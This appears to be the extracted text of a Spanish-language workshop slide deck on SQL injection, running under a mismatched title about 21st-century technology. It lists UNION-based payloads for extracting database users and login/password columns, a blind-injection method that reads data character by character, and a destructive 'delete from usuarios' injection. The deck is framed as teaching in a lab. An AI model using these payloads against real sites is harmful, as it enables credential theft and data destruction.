Avances tecnológicos del siglo XXI y ejemplos de estos
Sql injection
1.
2. Problemas de configuración del servidor.
Bugs en los modulos del framework usado en el
sitio (Actualizaciones)
Problemas en la lógica del negocio
› Manejo incorrecto de archivos.
› Mal filtrado de variables.
3.
4.
5.
6.
7. Problemas en la lógica del negocio
› Mal filtrado de variables .
$login=$_POST['login'];
$login <- roguer
$login <- ‘
8. Internamente
› SELECT * FROM usuarios WHERE nombre= „$login‟
AND password=„$pass‟
SELECT * FROM usuarios WHERE nombre = „roguer‟
AND password=„contrasena‟
SELECT * FROM usuarios WHERE nombre = „‟‟ AND
password=„‟‟
9. Paginas de inicio de sesión
› Nombre de Usuario
› Contraseña
http://mi_ip/Taller
11. Operaciones sobre consultas
› Order by
› Union
› Limit
12. Pagina que gestiona el contenido de
una base de datos.
› Paginas que contienen un parámetro tipo id
› ¿ Y si hacemos que ese sea id=„ ?
“Error”
13. ¿Se esta consultando una tabla de la
base de datos?
¿Nos muestra algún error?
Que nos sirve saber acerca de la tabla
consultada?
14. Obteniendo el numero de columnas
› Pagina.php?id=-1+order+by+X—
¿Porque -1?
¿Que hace el order by en esta consulta?
¿Como puedo obtener un resultado de
la inyección?
15. Obteniendo un resultado visible en el
sitio.
› Pagina.php?id=-
1+union+select+1,2,3.,.,n—
› ¿Cual es la diferencia ahora?
› ¿Para que esos números?
16. Funciones de mysql
› Version()
› User()
› Database()
› Concat()
17. Obteniendo información de la conexión.
› Pagina.php?id=-
1+union+select+1,user(),3.,.,n—
› ¿Cual es la diferencia ahora?
› ¿Qué resultado arrojó?
19. ¿Si tengo el nombre de la tabla y las
columnas que puedo hacer?
Pagina.php?id=-1+union+select+1,login,pass,
...,n+from+usuarios—
¿Cómo paso al siguiente registro?
20. ¿Y si la pagina no genera errores al hacer id=„?
21. Estructura de la consulta
› SELECT * FROM noticias WHERE id=$id
› SELECT * FROM noticias WHERE id=5
› SELECT * FROM noticias WHERE id=5 AND 1=1
22. Concepto de Subconsultas
› SELECT count(*) FROM tabla
› SELECT count(campo) FROM tabla
› SELECT * FROM noticias WHERE id=5 AND 1=1
23. Uniendo campos y usando operadores
› SELECT concat(login,0x3a,password) FROM
usuarios LIMIT 0,1
› substring(campo,carater_inicio,tamaño)
› substring(campo,1,1)
› Ascii(caracter)
24. ¿Toca sacar carácter por carácter?
¿Cómo se cuantos caracteres debo
sacar?
25. ¿Es esto critico?
¿Para puede servir esta información?
¿A través de SQL-Inyection solo se
puede sacar información?
› login=‘roguer’;delete from usuarios--